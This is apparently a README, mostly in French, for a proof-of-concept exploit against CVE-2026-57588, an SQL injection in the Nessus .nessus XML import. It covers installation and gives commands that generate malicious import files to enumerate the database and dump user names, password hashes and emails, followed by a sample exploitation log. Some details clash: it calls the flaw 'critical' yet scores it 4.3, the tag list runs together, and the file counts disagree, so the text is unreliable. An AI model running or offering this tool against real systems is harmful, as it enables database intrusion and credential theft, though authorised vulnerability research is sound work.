Preuve de concept pour CVE-2026-57588 - injection SQL dans l'import XML de Nessus 10.12.0. Génère des fichiers .nessus malveillants pour énumérer les bases de données, exfiltrer des identifiants et tester l'injection aveugle basée sur le temps. Pour une recherche en sécurité autorisée. Auteur : Sudeepa Wanigarathna. Corrigé dans la version 10.12.1.
CVE-2026-57588 est une vulnérabilité critique d'injection SQL découverte dans Tenable Nessus versions 10.12.0 et antérieures. La vulnérabilité réside dans le mécanisme d'analyse XML lors de l'importation des fichiers de résultats de scan .nessus, permettant aux utilisateurs authentifiés disposant de privilèges d'importation d'exécuter des requêtes SQL arbitraires contre la base de données PostgreSQL backend.
| Propriété | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-57588 |
| Type de vulnérabilité | Injection SQL |
| Produits concernés | Tenable Nessus 10.12.0 et antérieurs |
| Version corrigée | Nessus 10.12.1 et ultérieures |
| Score CVSS | 4.3 (Moyen) |
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Authentifié (permissions d'importation) |
| Interaction utilisateur | Requise (ingénierie sociale) |
| Impact | Exfiltration de données, RCE |
La vulnérabilité existe en raison d'une désinfection insuffisante des valeurs des balises XML avant leur incorporation dans les requêtes SQL lors du processus d'importation. Un acteur malveillant peut concevoir un fichier .nessus contenant des charges utiles d'injection SQL spécialement élaborées dans des balises XML telles que :
hostnamefqdnossystem-typemac-addressnetbios-nameLorsqu'un utilisateur privilégié importe le fichier malveillant, les valeurs non désinfectées sont exécutées contre le backend PostgreSQL, permettant :
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v